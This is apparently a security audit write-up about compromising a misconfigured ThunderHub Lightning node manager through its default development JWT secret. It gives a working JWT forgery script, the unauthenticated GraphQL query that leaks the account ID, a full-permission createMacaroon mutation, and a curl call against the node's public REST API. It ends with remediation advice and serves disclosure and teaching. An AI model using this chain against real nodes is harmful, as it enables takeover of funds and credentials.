From '123456789' to Full Lightning Node Control
ThunderHub's dev JWT secret left in production — one missing environment variable cascaded into full node compromise, permanent LND admin access, and a backdoor that survives remediation.
During a recent web security audit of a crypto platform, I discovered that a Lightning Network node management interface was deployed with its development JWT secret — the string 123456789 — hardcoded in the open-source code and left unchanged in production. This single misconfiguration cascaded into full node compromise, a permanent admin backdoor on a publicly accessible API, and complete read access to all Lightning funds, channels, and transaction history.
The root cause? One missing environment variable.
The Context
The target was a crypto casino running on Azure infrastructure with a dozen microservices. Among them was a ThunderHub instance — an open-source Lightning Network node management tool. ThunderHub provides a GraphQL API to manage an LND node: create invoices, send payments, open/close channels, and manage funds.
During subdomain enumeration, the ThunderHub instance appeared on a non-obvious subdomain. Initial fingerprinting showed it was serving a React SPA with a GraphQL endpoint at /graphql.
Step 1 — The Leak
The first probe was GraphQL introspection — and it was enabled. The full schema came back: 43 queries, 29 mutations. Everything from getNodeInfo to sendToAddress to createMacaroon.
But queries like getNodeInfo returned UNAUTHENTICATED. Authentication was required.
Except for one query:
{ getServerAccounts { id name type } }This returned data without any authentication:
{
"data": {
"getServerAccounts": [{
"id": "[redacted]",
"name": "[node-name]-lnd",
"type": "server"
}]
}
}The server account ID. The node name. Exposed to anyone who asks.
Step 2 — The Source Code
ThunderHub is open source. The authentication code in configuration.ts reads:
const jwtSecret = isProduction
? crypto.randomBytes(64).toString('hex')
: '123456789';When NODE_ENV is set to production, ThunderHub generates a cryptographically random 128-character secret on each startup. When it's NOT set to production, the secret is literally the string '123456789'.
The instance's health endpoint revealed: "environment": "development". The NODE_ENV variable was never set.
Step 3 — The Forgery
With the account ID from the unauthenticated query and the JWT secret from the source code, forging a valid token required five lines:
const crypto = require('crypto');
const ACCOUNT_ID = '[account-id-from-getServerAccounts]';
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
const payload = Buffer.from(JSON.stringify({
sub: ACCOUNT_ID,
iat: Math.floor(Date.now() / 1000),
exp: Math.floor(Date.now() / 1000) + 86400,
})).toString('base64url');
const signature = crypto.createHmac('sha256', '123456789')
.update(`${header}.${payload}`)
.digest('base64url');
console.log(`${header}.${payload}.${signature}`);The token worked on the first try. Full authenticated access.
Step 4 — The Data
With the forged JWT, every query returned data:
| Query | Result |
|---|---|
getNodeInfo | Node alias, LND version, sync status, peer count |
getNodeBalances | On-chain and Lightning balances visible |
getChannels | 2 channels (inactive), partner nodes, capacity |
getPeers | 5 peers including 2 internal IPs on Azure VNET |
getInvoices | Full invoice history with amounts |
getPayments | Outgoing payments with destinations |
getChainTransactions | On-chain TX history with all output addresses |
getUtxos | UTXO set with addresses and amounts |
getBackups | Full channel backup blob |
getTwofaSecret | Raw TOTP secret and otpauth URL |
signMessage | Signed arbitrary message with node's private key |
The 2FA secret was particularly notable — anyone with it can generate valid TOTP codes for the ThunderHub account. The signMessage query provided cryptographic proof of full node identity key access.
Step 5 — The Permanent Backdoor
ThunderHub exposes a createMacaroon mutation that generates LND admin credentials:
mutation {
createMacaroon(permissions: {
is_ok_to_adjust_peers: true
is_ok_to_create_chain_addresses: true
is_ok_to_create_invoices: true
is_ok_to_create_macaroons: true
is_ok_to_derive_keys: true
is_ok_to_get_chain_transactions: true
is_ok_to_get_invoices: true
is_ok_to_get_wallet_info: true
is_ok_to_get_payments: true
is_ok_to_get_peers: true
is_ok_to_pay: true
is_ok_to_send_to_chain_addresses: true
is_ok_to_sign_bytes: true
is_ok_to_sign_messages: true
is_ok_to_stop_daemon: true
is_ok_to_verify_bytes_signatures: true
is_ok_to_verify_messages: true
is_ok_to_get_access_ids: true
is_ok_to_revoke_access_ids: true
}) {
base
hex
}
}The mutation returned a full admin macaroon — hex-encoded, 19 permissions, no expiration.
But the real discovery came next. The LND node was hosted on Voltage — a Lightning node hosting provider. Voltage nodes expose their LND REST API on a public URL:
curl -s https://[node-name].m.voltageapp.io:8080/v1/getinfo \
-H "Grpc-Metadata-macaroon: [hex]"
# → 200 OK. Full node info returned.Direct LND REST API access from the public internet with the generated macaroon.
This macaroon is permanent. It doesn't expire. It works even after:
- The ThunderHub JWT secret is fixed
- ThunderHub is restarted or removed
- The
NODE_ENVis set to production - The ThunderHub password is changed
The only way to invalidate it is to rotate the LND node's root macaroon keys.
The Chain
1. GraphQL introspection (enabled in dev mode)
→ getServerAccounts (unauthenticated)
→ account ID leaked
2. Source code review
→ JWT secret = '123456789' when NODE_ENV != production
3. JWT forgery (5 lines of code)
→ full ThunderHub authenticated access
4. createMacaroon mutation
→ admin LND macaroon (all 19 permissions)
5. Voltage public REST API
→ permanent direct LND access from the internet
Each step is trivial on its own. The first user can be enumerated. The secret is published. The forgery is five lines. The macaroon creation is one GraphQL call. The REST API is publicly routed.
What Else Was Hiding in Dev Mode
The source code review revealed that NODE_ENV controls more than just the JWT secret:
| Feature | Production | Development |
|---|---|---|
| JWT secret | Random 128-char hex | '123456789' |
| GraphQL introspection | Disabled | Enabled |
| GraphQL playground | Disabled | Enabled |
| CORS | Restricted | origin: true (any origin) |
| SSO auth check | Validates cookie | || !isProduction bypasses it |
| Config dump to console | No | Full config including macaroon logged to stdout |
The SSO bypass is particularly interesting: in dev mode, the cookie comparison has a || !isProduction condition that makes it always true. If an SSO-type account were configured, any cookie value would grant access.
And the config dump means that on startup, the full configuration — including the LND macaroon, server URL, and certificate — is written to stdout. If any log aggregation service captures this, the raw LND credentials are in plaintext in the logs.
The Fix
The remediation is deceptively simple:
NODE_ENV=productionOne environment variable. That's it. ThunderHub's security model is correctly designed — it just collapses entirely without this single flag. Setting it to production:
- Generates a random JWT secret on startup
- Disables introspection and playground
- Restricts CORS
- Enforces SSO cookie validation
- Suppresses config logging
The additional steps:
- Rotate LND macaroon root keys (invalidates any generated macaroons)
- Restrict the Voltage REST API to an IP allowlist
- Disable the
getServerAccountspublic query or remove account IDs from the response
The Broader Lesson
This finding wasn't a code vulnerability. ThunderHub's code is secure when properly deployed. The vulnerability was purely operational — a missing environment variable that the application doesn't warn about, doesn't fail-safe on, and silently degrades every security control.
The '123456789' default exists so developers can run ThunderHub locally without generating secrets. It's a reasonable development convenience. The problem is that there's no guardrail between "convenient for development" and "deployed to production managing real Bitcoin."
A few patterns would have prevented this:
- Fail-closed defaults — if
NODE_ENVisn't set, refuse to start instead of falling back to dev mode - Startup warnings — log a visible warning if dev mode is active:
WARNING: Running with default JWT secret. Do not use in production. - Secret validation — reject known-bad secrets like
'123456789'even in dev mode when the node has real funds
The nine-character string 123456789 should never be the only thing standing between an attacker and a Lightning node's funds. But in this case, it was — and it wasn't even a secret.
Finding discovered during an authorized security audit. All testing was performed with explicit authorization. Macaroon creation was approved by the engagement lead. No funds were moved or transactions initiated. The vulnerability was reported with a detailed remediation plan.